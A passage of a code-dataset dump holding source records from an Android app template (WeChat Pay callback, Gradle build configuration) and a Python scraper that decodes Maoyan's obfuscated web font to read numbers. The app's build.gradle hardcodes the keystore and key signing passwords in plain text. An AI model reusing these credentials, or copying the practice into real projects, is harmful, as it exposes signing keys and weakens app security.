"alpha_fraction": 0.6151078939437866, "alphanum_fraction": 0.6187050342559814, "avg_line_length": 26.83333396911621, "blob_id": "9856fedaec1e1cca9aadf144fce36a16a7ba15d0", "content_id": "fca52780b50f03b1a94b033e7848c234bec79df0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 864, "license_type": "no_license", "max_line_length": 92, "num_lines": 30, "path": "/app/src/main/java/com/android/base/util/AppInstallUtil.kt", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.util\n\nimport android.content.Context\nimport com.blankj.utilcode.util.AppUtils\n\n/**\n *\n */\nobject AppInstallUtil {\n\n @JvmStatic\n fun isAppInstalled(context: Context?, packageName: String): Boolean {\n return AppUtils.isAppInstalled(packageName) || isAppInstalled1(context, packageName)\n }\n\n\n fun isAppInstalled1(context: Context?, packageName: String): Boolean {\n val packageManager = context?.packageManager// ่Žทๅ–packagemanager\n val pinfo = packageManager?.getInstalledPackages(0)// ่Žทๅ–ๆ‰€ๆœ‰ๅทฒๅฎ‰่ฃ…็จ‹ๅบ็š„ๅŒ…ไฟกๆฏ\n if (pinfo != null) {\n for (i in pinfo.indices) {\n val pn = pinfo[i].packageName\n if (pn.equals(packageName, ignoreCase = true)) {\n return true\n }\n }\n }\n return false\n }\n}" }, { "alpha_fraction": 0.7616580128669739, "alphanum_fraction": 0.7616580128669739, "avg_line_length": 21.705883026123047, "blob_id": "1828623f381314ab63e5a180689e9e4e468971f9", "content_id": "53177db5316325618327c3ef878bd4afd3146f75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 390, "license_type": "no_license", "max_line_length": 90, "num_lines": 17, "path": "/app/src/main/java/com/android/base/version/VersionClient.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.version;\n\nimport com.android.base.data.ResponseDataObject;\nimport com.android.base.data.RestClient;\n\nimport io.reactivex.Observable;\n\n/**\n * @author ๅผ ๅ…จ\n */\npublic class VersionClient {\n\n public static Observable<ResponseDataObject<VersionEntity>> doUpdate(String channel) {\n return RestClient.getService(VersionApi.class).appUpdate(channel);\n }\n\n}\n" }, { "alpha_fraction": 0.7046413421630859, "alphanum_fraction": 0.7046413421630859, "avg_line_length": 18.75, "blob_id": "f682c6d5d6e3247c9000e23c4b839291f5e1e165", "content_id": "2819572e0e7216136b690aa22faa4d28d75bf063", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 241, "license_type": "no_license", "max_line_length": 70, "num_lines": 12, "path": "/librarys/CommonWidget/src/main/java/common/widget/viewpager/BannerImageLoader.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package common.widget.viewpager;\n\nimport android.content.Context;\n\n/**\n * @author ๅผ ๅ…จ\n */\npublic interface BannerImageLoader<V, T> {\n void displayView(Context ctx, T data, V view, int pos, int count);\n\n V createView(Context ctx);\n}\n" }, { "alpha_fraction": 0.5055791735649109, "alphanum_fraction": 0.5063762068748474, "avg_line_length": 32.61606979370117, "blob_id": "69f9d2f0e15efa7b381e2dae361f57e121702b9a", "content_id": "c54044ee6fa804b5c279f5666c42af45a8a2f3bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 3946, "license_type": "no_license", "max_line_length": 83, "num_lines": 112, "path": "/app/src/main/java/com/fastapp/wxapi/WXPayEntryActivity.kt", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.fastapp.wxapi\n\nimport android.app.Activity\nimport android.content.Intent\nimport android.os.Bundle\nimport com.android.util.LContext\nimport com.android.util.ext.ToastUtil\nimport com.android.util.log.LogUtil\nimport com.android.base.Constant\nimport com.android.base.event.EventMsg\nimport com.android.base.util.pay.PayWay\nimport com.fastapp.R\nimport com.tencent.mm.opensdk.constants.ConstantsAPI\nimport com.tencent.mm.opensdk.modelbase.BaseReq\nimport com.tencent.mm.opensdk.modelbase.BaseResp\nimport com.tencent.mm.opensdk.openapi.IWXAPI\nimport com.tencent.mm.opensdk.openapi.IWXAPIEventHandler\nimport com.tencent.mm.opensdk.openapi.WXAPIFactory\nimport org.greenrobot.eventbus.EventBus\n\n/**\n * ๅพฎไฟกๆ”ฏไป˜ๅ›ž่ฐƒ้กต้ข\n *\n * @author ๅผ ๅ…จ\n */\nclass WXPayEntryActivity : Activity(), IWXAPIEventHandler {\n private var api: IWXAPI? = null\n public override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n setContentView(R.layout.wx_pay_result)\n api = WXAPIFactory.createWXAPI(this, LContext.getString(R.string.wx_appid))\n api?.handleIntent(intent, this)\n LogUtil.d(TAG, \"WXPayEntryActivity............onCreate\")\n }\n\n override fun onNewIntent(intent: Intent) {\n super.onNewIntent(intent)\n setIntent(intent)\n api?.handleIntent(intent, this)\n LogUtil.d(TAG, \"WXPayEntryActivity............onNewIntent\")\n }\n\n override fun onReq(req: BaseReq) {}\n override fun onResp(resp: BaseResp) {\n if (null == resp) {\n finish()\n return\n }\n printInfo(resp)\n LogUtil.d(TAG, \"WXPayEntryActivity,onResp...onPayFinish, errCode = \"\n + resp.errCode + \",type=\" + resp.type)\n if (resp.type == ConstantsAPI.COMMAND_PAY_BY_WX) {\n when (resp.errCode) {\n 0 -> {\n EventBus.getDefault().post(\n EventMsg(\n Constant.Event.ORDER_BUY_SUCCESS,\n PayWay.WX\n )\n )\n finish()\n }\n -1 -> {\n /*\n * ๅฏ่ƒฝ็š„ๅŽŸๅ› ๏ผš็ญพๅ้”™่ฏฏใ€ๆœชๆณจๅ†ŒAPPIDใ€้กน็›ฎ่ฎพ็ฝฎAPPIDไธๆญฃ็กฎใ€ๆณจๅ†Œ็š„APPIDไธŽ่ฎพ็ฝฎ็š„ไธๅŒน้…ใ€ๅ…ถไป–ๅผ‚ๅธธ็ญ‰ใ€‚\n */EventBus.getDefault().post(\n EventMsg(\n Constant.Event.ORDER_BUY_FAIL,\n PayWay.WX\n )\n )\n ToastUtil.show(\"ๆ”ฏไป˜ๅคฑ่ดฅ\")\n finish()\n }\n -2 -> {\n /*\n * ๆ— ้œ€ๅค„็†ใ€‚ๅ‘็”Ÿๅœบๆ™ฏ๏ผš็”จๆˆทไธๆ”ฏไป˜ไบ†๏ผŒ็‚นๅ‡ปๅ–ๆถˆ๏ผŒ่ฟ”ๅ›žAPPใ€‚\n */EventBus.getDefault().post(\n EventMsg(\n Constant.Event.ORDER_BUY_CANCEL,\n PayWay.WX\n )\n )\n ToastUtil.show(\"ๅ–ๆถˆๆ”ฏไป˜\")\n finish()\n }\n else -> finish()\n }\n }\n }\n\n companion object {\n private const val TAG = \"WXPayEntryActivity\"\n fun printInfo(baseResp: BaseResp?) {\n if (!LContext.isDebug || null == baseResp) {\n return\n }\n LogUtil.d(TAG, \"---------ๅพฎไฟกๆ”ฏไป˜--------start\")\n val fields = baseResp.javaClass.declaredFields\n for (field in fields) {\n field.isAccessible = true\n try {\n val value = field[baseResp]\n LogUtil.d(TAG, field.name + \"=\" + value)\n } catch (e: Exception) {\n e.printStackTrace()\n }\n }\n LogUtil.d(TAG, \"---------ๅพฎไฟกๆ”ฏไป˜--------end\")\n }\n }\n}" }, { "alpha_fraction": 0.5960000157356262, "alphanum_fraction": 0.5960000157356262, "avg_line_length": 26.77777862548828, "blob_id": "1365250e31ffb9fd87b07c41f747635ba3c1c13d", "content_id": "ac7ed01c0b225fa5036f9818024edad66b7f5b50", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Gradle", "length_bytes": 250, "license_type": "no_license", "max_line_length": 33, "num_lines": 9, "path": "/settings.gradle", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "include ':ApkChannel'\nrootProject.name = 'fastapp'\ninclude ':app',\n ':librarys:ApkChannel',\n ':librarys:Logger',\n ':librarys:CommonUtil',\n ':librarys:AppUpdate',\n ':librarys:CommonWidget',\n ':librarys:umeng'\n" }, { "alpha_fraction": 0.6818181872367859, "alphanum_fraction": 0.6818181872367859, "avg_line_length": 15.5, "blob_id": "6f1a8d826b61d2ea2dc78f92b6bb3d37625f3e1a", "content_id": "3f9a21e9d39ad4d1e9e48b89985af09cffae391a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 330, "license_type": "no_license", "max_line_length": 49, "num_lines": 20, "path": "/app/src/main/java/com/fastapp/LoginActivity.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.fastapp;\n\nimport android.os.Bundle;\n\nimport com.android.base.ui.BaseActivity;\n\n/**\n * @author zhangquan\n */\npublic class LoginActivity extends BaseActivity {\n @Override\n public int getLayoutId() {\n return R.layout.login_act;\n }\n\n @Override\n public void init(Bundle savedInstanceState) {\n\n }\n}\n" }, { "alpha_fraction": 0.6086329221725464, "alphanum_fraction": 0.6136828064918518, "avg_line_length": 30.744274139404297, "blob_id": "205b416c36cf6cdaf813bfe3dcce918563fe8773", "content_id": "0de57c39e7d50be215a66e5108b92c231a873102", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Gradle", "length_bytes": 8649, "license_type": "no_license", "max_line_length": 133, "num_lines": 262, "path": "/app/build.gradle", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "apply plugin: 'com.android.application'\napply plugin: 'kotlin-android'\napply plugin: 'kotlin-android-extensions'\napply plugin: 'kotlin-kapt'\n\ndef config = rootProject.ext\nandroid {\n\n compileSdkVersion config.compileSdkVersion\n buildToolsVersion config.buildToolsVersion\n\n defaultConfig {\n minSdkVersion config.minSdkVersion\n targetSdkVersion config.targetSdkVersion\n\n applicationId config.app.applicationId\n versionCode config.app.versionCode\n versionName config.app.versionName\n\n\n //็Ÿข้‡ๅ›พ\n vectorDrawables.useSupportLibrary = true\n\n manifestPlaceholders = [UMENG_CHANNEL_VALUE: \"official\"] // ้ป˜่ฎคๆธ ้“\n\n ndk {\n // ่ฎพ็ฝฎๆ”ฏๆŒ็š„ SO ๅบ“ๆž„ๆžถ\n abiFilters 'armeabi-v7a' //'x86'\n }\n\n resConfigs \"zh\"\n\n multiDexEnabled true\n\n //arouter\n javaCompileOptions {\n annotationProcessorOptions {\n arguments = [AROUTER_MODULE_NAME: project.getName()]\n }\n }\n }\n\n aaptOptions {\n cruncherEnabled = false //็ฆๆญขASๅฏนpngๅ›พ็‰‡่ฟ›่กŒๆ ก้ชŒ\n useNewCruncher = false\n }\n\n //----------------------็ญพๅ้…็ฝฎ----------------------\n signingConfigs {\n debug {\n //ไธบไบ†ๆ–นไพฟๆต‹่ฏ•ๅˆ†ไบซๆˆ–็ฌฌไธ‰ๆ–น็™ปๅฝ• ไฝฟ็”จๆญฃๅผ็ญพๅ\n storeFile file('../buildsystem/keystore.jks')\n storePassword 'snqu_123456_agent'\n keyAlias 'key0'\n keyPassword 'snqu_123456_agent'\n v2SigningEnabled true\n }\n release {\n storeFile file('../buildsystem/keystore.jks')\n storePassword 'snqu_123456_agent'\n keyAlias 'key0'\n keyPassword 'snqu_123456_agent'\n v2SigningEnabled false\n }\n }\n sourceSets {\n main {\n jniLibs.srcDirs = ['libs']\n }\n }\n buildTypes {\n debug {\n minifyEnabled false\n shrinkResources false\n manifestPlaceholders = [DEBUGABLE: true]\n proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n signingConfig signingConfigs.debug\n }\n release {\n minifyEnabled true\n zipAlignEnabled true\n shrinkResources true\n proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n manifestPlaceholders = [DEBUGABLE: false]\n signingConfig signingConfigs.release\n }\n }\n\n flavorDimensions \"channel\"\n productFlavors {\n //็”Ÿไบงๆต‹่ฏ•\n \"prod\" {}\n\n //ๅบ”็”จๅ•†ๅบ—\n// \"offical\" {} //ๅฎ˜ๆ–น\n// \"xiaomi\" {} //ๅฐ็ฑณ\n// \"vivo\" {} //vivoๅ•†ๅบ—\n// \"oppo\" {} //oppoๅ•†ๅบ—\n// \"huawei\" {} //ๅŽไธบ\n// \"yyb\" {} //ๅบ”็”จๅฎ\n// \"p360\" {} //360\n// \"ali\" {} //้˜ฟ้‡Œ\n// \"baidu\" {}//็™พๅบฆ\n\n// kuan {} //้…ทๅฎ‰\n// anzhi {} //ๅฎ‰ๆ™บ\n// samsung {} //ไธ‰ๆ˜Ÿ\n// meizu {}//้ญ…ๆ—\n// sogou {}//ๆœ็‹—\n// liqu {}//ๅŽ†่ถฃ\n// mumayi {}//ๆœจ่š‚่š\n// yingyognhui {}//ๅบ”็”จๆฑ‡\n// jifeng {}//ๆœบ้”‹\n// mm {}//mmๅบ”็”จๅ•†ๅบ—\n// lenovo {}//่”ๆƒณ\n }\n productFlavors.all {\n flavor ->\n //ๅˆไฝœๆธ ้“\n buildConfigField(\"String\", \"cooperChannels\", '\"xx\"')\n\n if (name == \"prod\") {\n ndk {\n abiFilters \"armeabi-v7a\", 'x86'\n }\n buildConfigField \"String\", \"API_HOST\", '\"https://api-t.xin1.cn/\" ' //ๆต‹่ฏ•ๆœๅŠกๅ™จ\n buildConfigField \"String\", \"H5_HOST\", '\"https://m-xlt-t.xin1.cn/\" '\n buildConfigField \"String\", \"LOG_HOST\", '\"https://report-t.xin1.cn/\"'\n manifestPlaceholders = [APP_NAME: \"@string/app_name_test\", DEV_ENV: true, UMENG_CHANNEL_VALUE: name]\n } else {\n ndk {\n abiFilters \"armeabi-v7a\"\n }\n buildConfigField \"String\", \"API_HOST\", '\"https://api.xinletao.vip/\" ' //็บฟไธŠๆœๅŠกๅ™จ\n buildConfigField \"String\", \"H5_HOST\", '\"https://m.xinletao.vip/\" '\n buildConfigField \"String\", \"LOG_HOST\", '\"https://report.xin1.cn/\" '\n flavor.manifestPlaceholders = [APP_NAME: \"@string/app_name\", DEV_ENV: false, UMENG_CHANNEL_VALUE: name]\n }\n }\n\n applicationVariants.all { variant ->\n if (variant.buildType.name == \"release\" && variant.flavorName != \"prod\") {\n variant.getPackageApplicationProvider().get().outputDirectory = new File(project.rootDir.absolutePath + \"/apk\")\n variant.getPackageApplicationProvider().get().outputScope.apkDatas.forEach { apkData ->\n\n apkData.outputFileName = \"xlt_\" + variant.flavorName + \".apk\"\n// if (apkData.getFullName() == variant.flavorName + \"UniversalRelease\") {\n// variant.getPackageApplicationProvider().get().outputDirectory = new File(project.rootDir.absolutePath + \"/apk\")\n// apkData.outputFileName = variant.flavorName + \".apk\"\n// } else {\n// apkData.outputFileName = apkData.getFullName() + \".apk\"\n// }\n }\n }\n }\n\n compileOptions {\n sourceCompatibility JavaVersion.VERSION_1_8\n targetCompatibility JavaVersion.VERSION_1_8\n }\n\n packagingOptions {\n exclude 'LICENSE.txt'\n exclude 'META-INF/DEPENDENCIES'\n exclude 'META-INF/ASL2.0'\n exclude 'META-INF/NOTICE'\n exclude 'META-INF/LICENSE'\n exclude 'META-INF/proguard/androidx-annotations.pro'\n }\n\n lintOptions {\n quiet true\n abortOnError false\n ignoreWarnings true\n disable 'InvalidPackage', 'OldTargetApi', 'IconDensities', 'IconMissingDensityFolder'\n }\n\n useLibrary 'org.apache.http.legacy'\n}\nrepositories {\n flatDir {\n dirs 'libs'\n }\n}\nkapt {\n arguments {\n arg(\"AROUTER_MODULE_NAME\", project.getName())\n }\n}\ndependencies {\n implementation fileTree(dir: 'libs', include: ['*.jar', '*.aar'])\n api project(':librarys:AppUpdate')\n api project(':librarys:CommonUtil')\n api project(':librarys:Logger')\n api project(':librarys:CommonWidget')\n api project(':librarys:umeng')\n\n implementation config.kotlin\n implementation config.kotlin_core\n implementation config.appCompat\n implementation config.supportV4\n implementation config.recyclerView\n implementation config.cardView\n implementation config.multidex\n implementation config.constraint //็บฆๆŸๅธƒๅฑ€\n implementation config.materialDesign //material\n implementation config.lifecycleExtensions //ViewModelProviders\n implementation config.fragmentation //้กต้ขๅฎนๅ™จ\n implementation config.rxPermissions //rxpermission\n// implementation config.rxBinding //RxBinding็ป„ไปถ ไพ่ต–Rxjava3 RxAndroid3\n\n //ๆ•ฐๆฎ\n implementation config.retrofit2\n implementation config.retrofit2AdapterRxjava\n implementation config.retrofit2ConvertGson\n implementation config.retrofit2Scalars\n implementation config.okHttp\n implementation config.loggingInterceptor\n implementation config.rxJava\n implementation config.rxAndroid\n implementation config.gson\n\n //ๅ›พ็‰‡ๅŠ ่ฝฝ\n implementation config.glide\n annotationProcessor config.glideCompiler\n implementation(config.glideOkHttp) {\n exclude group: \"com.android.support\"\n }\n implementation config.glideWebp //glideๆ”ฏๆŒwebp\n implementation config.glideTransform //glideๅ›พ็‰‡ๅค„็†\n implementation config.album //ๅ›พ็‰‡้€‰ๆ‹ฉ\n implementation config.luban //ๅ›พ็‰‡ๅŽ‹็ผฉ\n implementation config.roundedImageView //ๅœ†่ง’ๅ›พ็‰‡\n implementation config.recycleViewAdapter //recycleView Adapter\n\n //workmanager\n implementation config.workManager_kotlin\n\n //ๆณจๅ…ฅ\n implementation config.butterKnife //UI\n annotationProcessor config.butterKnifeCompiler\n implementation config.eventBus //ไบ‹ไปถ้€š็Ÿฅ\n implementation config.arouter\n annotationProcessor config.arouterCompiler\n\n //ๅทฅๅ…ท็ฎฑ\n implementation config.guava\n implementation config.utilCode\n\n //K-V\n implementation config.MMKV\n\n //UIๆŽงไปถ\n implementation config.smartRefresh //ไธ‹ๆ‹‰ๅˆทๆ–ฐ\n implementation config.smartRefreshHeader\n\n //่ฐƒ่ฏ•\n debugImplementation config.debugDependencies.leakCanary\n debugImplementation config.debugDependencies.blockCanary\n releaseImplementation config.releaseDependencies.leakCanary\n releaseImplementation config.releaseDependencies.blockCanary\n}\n" }, { "alpha_fraction": 0.6076124310493469, "alphanum_fraction": 0.6179930567741394, "avg_line_length": 21.5625, "blob_id": "2de5943d20e99a8e7842a08836432628ee134f67", "content_id": "790cef9231f62998eca8bd795ccc4dd1d510e3ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Gradle", "length_bytes": 1465, "license_type": "no_license", "max_line_length": 91, "num_lines": 64, "path": "/build.gradle", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "apply from: 'buildsystem/dependencies.gradle'\n\nbuildscript {\n ext {\n kotlin_version = '1.3.72'\n }\n repositories {\n maven{ url 'https://maven.aliyun.com/repository/public/'}\n google()\n jcenter()\n\n }\n dependencies {\n classpath \"com.android.tools.build:gradle:4.0.1\"\n classpath \"org.jetbrains.kotlin:kotlin-gradle-plugin:1.3.21\"\n }\n}\n\nallprojects {\n repositories {\n maven{ url 'https://maven.aliyun.com/repository/public/'}\n google()\n jcenter()\n maven { url 'https://jitpack.io' }\n }\n\n gradle.taskGraph.whenReady {\n tasks.each { task ->\n\n }\n }\n}\n\nsubprojects {\n project.afterEvaluate {\n project.plugins.withId('com.android.library') {\n project.android.compileSdkVersion rootProject.ext.compileSdkVersion\n project.android.buildToolsVersion rootProject.ext.buildToolsVersion\n project.android.defaultConfig.minSdkVersion rootProject.ext.minSdkVersion\n project.android.defaultConfig.targetSdkVersion rootProject.ext.targetSdkVersion\n }\n\n }\n\n // ๅผบๅˆถไฝฟ็”จๆŸไธช็‰ˆๆœฌ็š„ๅบ“\n// configurations.all {\n// resolutionStrategy{\n// force 'com.xx.network:retrofit:1.0.1'\n// }\n// }\n}\n\nrepositories {\n flatDir {\n dirs 'libs'\n }\n}\n\ntask clean(type: Delete) {\n delete rootProject.buildDir\n}\ntasks.withType(JavaCompile) {\n options.encoding = \"UTF-8\"\n}\n\n" } ]
58
davidfang/dolphin
https://github.com/davidfang/dolphin
ef4dc29a1f096dd4b945636930ca5a0d50fdb1ae
c492b369b963ded2865b96d29e8c0a895082f0ac
6e9cc00ee5df466b55a8b56670ef1988e190a1ab
refs/heads/master
2020-04-12T21:51:57.908934
2018-07-25T09:06:12
2018-07-25T09:06:12
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4403669834136963, "alphanum_fraction": 0.44954127073287964, "avg_line_length": 12.75, "blob_id": "6ad5dc2c3d56ef29b5a61f4c1d8a1af476c63821", "content_id": "724870027464b282723becc5e67a5d4a9313109c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 109, "license_type": "no_license", "max_line_length": 32, "num_lines": 8, "path": "/test/pathtest.py", "repo_name": "davidfang/dolphin", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nprint(\"__file__: %s\" % __file__)\nprint(\"__name__: %s\" % __name__)\n\n\n\n# test windows" }, { "alpha_fraction": 0.5970149040222168, "alphanum_fraction": 0.611940324306488, "avg_line_length": 12.399999618530273, "blob_id": "3b0f832326aa1cd14e2ae227369a56022269bc73", "content_id": "9bf2c8e98128a2fd3f5bf5d5f993d849e1474d6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 67, "license_type": "no_license", "max_line_length": 31, "num_lines": 5, "path": "/utils/exceptions.py", "repo_name": "davidfang/dolphin", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n\nclass TestException(Exception):\n pass\n" }, { "alpha_fraction": 0.5312756299972534, "alphanum_fraction": 0.5585905313491821, "avg_line_length": 29.773109436035156, "blob_id": "ba5c93e8920b7e356564db23b7b6b0ccb8879f29", "content_id": "3721b3b080a7462abd3c5a93dff417ca70e94918", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3955, "license_type": "no_license", "max_line_length": 129, "num_lines": 119, "path": "/utils/webfont.py", "repo_name": "davidfang/dolphin", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport os\nfrom utils.log import logging\nfrom utils.requestshelper import RequestsHelper\nfrom fontTools.ttLib import TTFont\nfrom PIL import Image, ImageEnhance\nfrom pytesseract import *\n\nlogger = logging.getLogger(__name__)\n\n\nclass WebFont(object):\n def __init__(self, plat_name):\n self.url = 'https://vfile.meituan.net/colorstone/2c8d9a8f5031f26f4e9fe924263e31ce2076.woff'\n self.plat_name = plat_name\n self.font_dict = dict()\n self.manual_dict = {\n 'uniF3C5': 8,\n 'uniEDEE': 6,\n 'uniF38E': 2,\n 'uniE824': 3,\n 'uniE829': 5,\n 'uniE851': 0,\n 'uniEBCF': 1,\n 'uniEE5A': 9,\n 'uniEFFE': 4,\n 'uniF35D': 7,\n }\n self.__init_font_map()\n\n def __init_font_map(self):\n \"\"\"\n ๅˆๅง‹ๅŒ–็Œซ็œผ็š„ๅญ—็ฌฆ้›†ๆจก็‰ˆ,ๅชๅœจๅ€’ๅ…ฅๆจกๅ—ๆ—ถๆœ‰ๆž„้€ ๆ–นๆณ•่ฐƒ็”จไธ€ๆฌก\n \"\"\"\n font_file = self.__save_font_file(self.url)\n font = TTFont(font_file)\n glyph_set = font.getGlyphSet()\n glyph_dict = glyph_set._glyphs.glyphs\n for k, v in self.manual_dict.items():\n self.font_dict[glyph_dict[k].data] = v\n\n def __save_font_file(self, url):\n filename = url.split('/')[-1]\n font_dir = \"%s/%s\" % (os.path.dirname(__file__), '../opt/fonts')\n # ๅˆคๆ–ญๆ–‡ไปถๆ˜ฏๅฆๅญ˜ๅœจ\n if not os.path.exists(\"%s/%s\" % (font_dir, filename)):\n if not os.path.exists(font_dir):\n os.mkdir(font_dir)\n try:\n response = RequestsHelper.get(url)\n except Exception:\n raise Exception()\n with open(\"%s/%s\" % (font_dir, filename), 'wb') as fw:\n fw.write(response.content)\n return \"%s/%s\" % (font_dir, filename)\n\n def convert_to_num(self, series, url):\n \"\"\"\n ่Žทๅ–unicode็š„ๅฏนๅบ”็š„ๆ•ฐๅญ—\n :param series: int\n :param url: ๅญ—็ฌฆ้›†ๆ–‡ไปถ็š„ๅœฐๅ€\n :return: int๏ผŒseriesๅฏนๅบ”ๆ•ฐๅญ—\n \"\"\"\n font_file = self.__save_font_file(url)\n font = TTFont(font_file)\n cmap = font.getBestCmap()\n num = cmap.get(series)\n glyph_set = font.getGlyphSet()\n\n return self.font_dict[glyph_set._glyphs.glyphs[num].data]\n\n\nclass FontManager(object):\n def __init__(self):\n self.fonts = dict()\n\n def add_font(self, plat_name):\n \"\"\"\n ๅ€’ๅ…ฅ่ฏฅๆจกๅ—ๆ—ถ่ฐƒ็”จๆญคๆ–นๆณ•ๅˆๅง‹ๅŒ–ๅญ—็ฌฆ้›†ๆจก็‰ˆ\n :param plat_name: str 'maoyan'/\n \"\"\"\n if plat_name == 'maoyan':\n self.fonts['maoyan'] = WebFont(plat_name)\n elif plat_name == 'douyin':\n pass\n else:\n raise Exception('ๅนณๅฐ๏ผš%s ๆš‚ไธๆ”ฏๆŒ' % plat_name)\n\n def get_font(self, plat_name):\n try:\n return self.fonts[plat_name]\n except KeyError:\n raise Exception('่ฏทๅ…ˆ่ฐƒ็”จget_font()ๆฅๆทปๅŠ ๅนณๅฐ%s็š„ๅญ—็ฌฆ้›†' % plat_name)\n\n def convert_to_num_ocr(self, fp):\n \"\"\"\n ่Žทๅ–unicode็š„ๅฏนๅบ”็š„ๆ•ฐๅญ—\n :param fp: ๅ›พ็‰‡ๆ–‡ไปถ็š„่ทฏๅพ„ๆˆ–ๆ–‡ไปถๅฏน่ฑก(ๅฟ…้กปbyteๆ–นๅผๆ‰“ๅผ€)\n :return: ๅ›พ็‰‡ๅฏนๅบ”็š„ๆ•ฐๅญ—, ๅฆ‚ๆžœไธ็ฌฆๅˆๆ•ฐๅญ—ๆ ผๅผ๏ผŒๅˆ™่ฟ”ๅ›žๅ›พ็‰‡ไธŠ็š„ๆ–‡ๆœฌ\n \"\"\"\n im = Image.open(fp)\n enhancer = ImageEnhance.Contrast(im)\n image_enhancer = enhancer.enhance(4)\n im_orig = image_enhancer.resize((image_enhancer.size[0]*2, image_enhancer.size[1]*2), Image.BILINEAR)\n\n text = image_to_string(im_orig)\n try:\n return int(text)\n except ValueError:\n return text\n\n\nfm = FontManager()\nfm.add_font('maoyan')\nmaoyan_font = fm.get_font('maoyan')\nlogger.info(maoyan_font.convert_to_num(0xf8c3, 'https://vfile.meituan.net/colorstone/7986a5279399aeee3ef19fe37989a00d2088.woff'))\n\nfp = open('/Users/apple/test/dolphin/opt/[email protected]', 'rb')\nprint(fm.convert_to_num_ocr(fp))" }, { "alpha_fraction": 0.6398058533668518, "alphanum_fraction": 0.6407766938209534, "avg_line_length": 26.83783721923828, "blob_id": "0e32f065277d58683f05ff1b2ae2111cf0a3e2c8", "content_id": "3c1d187abe8b6dc47765854704503105e7f06db8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1030, "license_type": "no_license", "max_line_length": 82, "num_lines": 37, "path": "/utils/requestshelper.py", "repo_name": "davidfang/dolphin", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nimport requests\nfrom settings import PROXIES\n\n\nclass RequestsHelper(object):\n def __init__(self):\n pass\n\n @classmethod\n def get(cls, url, params=None, **kwargs):\n return requests.get(url, params, proxies=PROXIES, **kwargs)\n\n @classmethod\n def options(cls, url, **kwargs):\n return requests.options(url, proxies=PROXIES, **kwargs)\n\n @classmethod\n def head(cls, url, **kwargs):\n return requests.head(url, **kwargs)\n\n @classmethod\n def post(cls, url, data=None, json=None, **kwargs):\n return requests.post(url, data=data, json=json, proxies=PROXIES, **kwargs)\n\n @classmethod\n def put(cls, url, data=None, **kwargs):\n return requests.put(url, data=data, proxies=PROXIES, **kwargs)\n\n @classmethod\n def patch(cls, url, data=None, **kwargs):\n return requests.patch(url, data=data, proxies=PROXIES, **kwargs)\n\n @classmethod\n def delete(cls, url, **kwargs):\n return requests.delete(url, proxies=PROXIES, **kwargs)\n" }, { "alpha_fraction": 0.6233974099159241, "alphanum_fraction": 0.6538461446762085, "avg_line_length": 23.959999084472656, "blob_id": "fd18b7afed88c2080f2595e52cafbce1cd308154", "content_id": "c7a5bfbc22247f94040255cfcc4d46ef10d72565", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 624, "license_type": "no_license", "max_line_length": 74, "num_lines": 25, "path": "/test/main.py", "repo_name": "davidfang/dolphin", "src_encoding": "UTF-8", "text": "#coding=utf-8\nfrom appium import webdriver\n\n\nimport os\n\n# Returns abs path relative to this file and not cwd\nPATH = lambda p: os.path.abspath(\n os.path.join(os.path.dirname(__file__), p)\n)\n\n\ndef get_desired_capabilities(app):\n desired_caps = {\n 'platformName': 'Android',\n 'platformVersion': '5.1',\n 'deviceName': 'Android Emulator',\n 'app': PATH('../opt/' + app),\n 'newCommandTimeout': 240\n }\n\n return desired_caps\ndesired_caps = get_desired_capabilities(u'aweme_aweGW_v1.8.3_61b8304.apk')\ndriver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)\ndriver.quit()\n" }, { "alpha_fraction": 0.7857142686843872, "alphanum_fraction": 0.7857142686843872, "avg_line_length": 13, "blob_id": "90cf89b1626280af7f6e11f85d1e18dc81a38c63", "content_id": "25d65ce72a3540b4371c3f0928a41be86ac15a40", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 28, "license_type": "no_license", "max_line_length": 17, "num_lines": 2, "path": "/README.md", "repo_name": "davidfang/dolphin", "src_encoding": "UTF-8", "text": "# dolphin\nscrapy for maoyan\n" }, { "alpha_fraction": 0.7416666746139526, "alphanum_fraction": 0.75, "avg_line_length": 18.83333396911621, "blob_id": "437b34a385b7ac76539ce82b4563440d66ef135a", "content_id": "66ab94ed8fb2d85305c35ca9e777312c45bbe698", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 120, "license_type": "no_license", "max_line_length": 41, "num_lines": 6, "path": "/utils/log.py", "repo_name": 